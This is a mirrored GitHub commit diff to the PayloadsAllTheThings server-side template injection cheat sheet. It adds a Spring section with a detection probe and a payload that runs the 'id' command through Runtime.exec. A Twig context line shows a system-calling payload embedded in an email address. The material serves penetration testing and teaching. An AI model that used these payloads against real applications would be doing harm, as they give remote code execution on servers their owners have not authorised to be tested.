mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 08:54:40 +01:00
Merge pull request #592 from oddrabbit/patch-1
Added in Spring Framework SSTI Detection & Exploitation
This commit is contained in:
commit
ec7c363aba
1 changed files with 13 additions and 2 deletions
|
|
@ -72,7 +72,8 @@
|
||||||
- [Twig - Template format](#twig---template-format)
|
- [Twig - Template format](#twig---template-format)
|
||||||
- [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
|
- [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)
|
||||||
- [Twig - Code execution](#twig---code-execution)
|
- [Twig - Code execution](#twig---code-execution)
|
||||||
- [Java - Velocity](#velocity)
|
- [Java - Velocity](#java---velocity)
|
||||||
|
- [Java - Spring](#java---spring)
|
||||||
- [PHP - patTemplate](#pattemplate)
|
- [PHP - patTemplate](#pattemplate)
|
||||||
- [PHP - PHPlib](#phplib-and-html_template_phplib)
|
- [PHP - PHPlib](#phplib-and-html_template_phplib)
|
||||||
- [PHP - Plates](#plates)
|
- [PHP - Plates](#plates)
|
||||||
|
|
@ -950,7 +951,7 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Velocity
|
## Java - Velocity
|
||||||
|
|
||||||
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
|
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
|
||||||
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
|
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
|
||||||
|
|
@ -968,6 +969,16 @@ $str.valueOf($chr.toChars($out.read()))
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
|
## Java - Spring
|
||||||
|
|
||||||
|
```python
|
||||||
|
*{7*7}
|
||||||
|
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## patTemplate
|
## patTemplate
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
|
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue